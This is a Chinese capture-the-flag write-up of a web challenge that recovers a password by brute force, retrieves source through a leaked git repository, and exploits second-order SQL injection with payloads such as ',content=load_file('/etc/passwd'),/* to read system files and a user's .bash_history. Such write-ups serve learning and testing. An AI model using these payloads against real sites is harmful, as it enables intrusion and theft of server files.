记录一下做这道题的经历和思路
发帖的时候要进行账号登陆,里面暗示了账号以及部分密码,后面的三个***我们采用爆破来进行
可以知道后三位是666(buu平台设置了响应速率控制,爆破的时候线程和延迟注意一下)
进去以后随便发了个帖,看看存不存在sql注入,发现没有过滤也没有报错,但是这种题一般都会有注入点的,打开f12四处看看
发现GIT没写完,肯定这题下个信息点在git泄露里面了,赶紧去Githack一下
在库里面使用git log --all看一下历史提交修改信息Git常用命令总结 - 圣骑士wind - 博客园
可以看到有三处历史添加修改信息,为了保险起见我们回退到最初的版本来获得php文件
利用命令git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c来还原到最初状态,获得php文件放到一个自己喜欢的编译器
0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
重点的代码是一个提交和留言的板块,首先来分析提交
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
可以看到,我们输入的题目文章种类都经过了addslashes函数PHP addslashes() 函数
然后利用sql语句进行存入数据库中,好像这里利用不了,一个存入数据库无法显示,看看留言的
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
可以看到最开始的sql语句是一个显示我们之前存入数据库的语句,也就是
可以发现如果我们发过帖也就是(num>0),会再让我们输入一次content留言 ,然后进行插入数据库中,最后利用函数mysql_fetch_array将之前输入的类别给取出来并进行显示content留言PHP mysql_fetch_array() 函数
这里就是二次注入了,我们利用一开始发帖的类别标题输入我们想要的sql语句来将content覆盖掉,然后到留言的地方进行打印输出。
小知识点:进行了addslashes函数转移的斜杠存入数据库的时候并不会存在,比如经过转义后由"a变为了\"a,虽然这里限制了我们的sql语句,但是我们存入数据库中的数据依然是"a
因此我们可以放心构造category来进行二次注入
我们利用,'来对之前的语句进行闭合,因为源码知道这个插入语句是多行的,因此我们要覆盖掉之前的content语句的话必须要用多行注释并且#来处理掉后面的,
因此我们一开始可以构造为 ',content=user(),/*
再后面的留言板再一次输入中输入 */
达到了
set category = '',content=user(),/*
content = '*/#',
bo_id = '$bo_id'";
$result = mysql_query($sql);
可以让二次留言输入后,输出的是user的值,因为我这个构造content是在category里面的,因此取出来的时候没有进行转义
可以发现现在是管理员用户,权限很高,这里可以利用load_file函数来进行注入读取文件(因为之前那种普遍的查数据库查表发现没有用处) ,一开始我也不清楚这个函数,看了一些大佬的博客以及改函数的读取mysql 报错注入 读文件_SQL注入-读写文件_深度智能的博客-CSDN博客
sql注入总结(2)--------导入导出文件操作_冗长的博客-CSDN博客
构造',content=load_file('/etc/passwd'),/*
那就行/etc/passwd是一个怎样的目录文件Linux /etc/passwd内容解释(超详细)
因此我们可以看到最后一行用户www在主目录/home/www下执行了shell /bin/bash
我们可以到该主目录看一下历史执行命令情况的
',content=load_file('/home/www/.bash_history'),/* |
Linux| 用户目录下三个bash文件的作用(.bash_history,.bash_logout,.bash_profile,.bashrc)_YvesHe的博客-CSDN博客_bash_history
理解一下这个命令
Linux cp 命令 | 菜鸟教程
Linux rm 命令 | 菜鸟教程
unzip命令 – 解压缩zip文件 – Linux命令大全(手册)
先cd到/tmp/目录下 然后执行unzip命令将html.zip这个压缩包解压后rm命令删除了这个压缩包
然后cp命令将html文件复制到/var/www/目录下,然后cd到/var/www/目录下,删除当前目录下的隐藏文件.DS_StoreDS_Store 是什么 - 简书
我们这里可以发现它只删除了/var/www/目录下的隐藏文件,当时tmp下的并没有删除,因此我们可以访问一下这个文件
发现都是些看不到的而且不完整,我们可以用十六进制编码来将它输出hex() 十六进制到文本 - 在线六角解码器
全部显现出来后看不到的就不管了,我们可以仔细发现一个文件flag_8946e1ff1ee3e40f.php,速速访问解码看看
可以发现flag已经出来了
学到了sql注入还可以读取文件,load_file的利用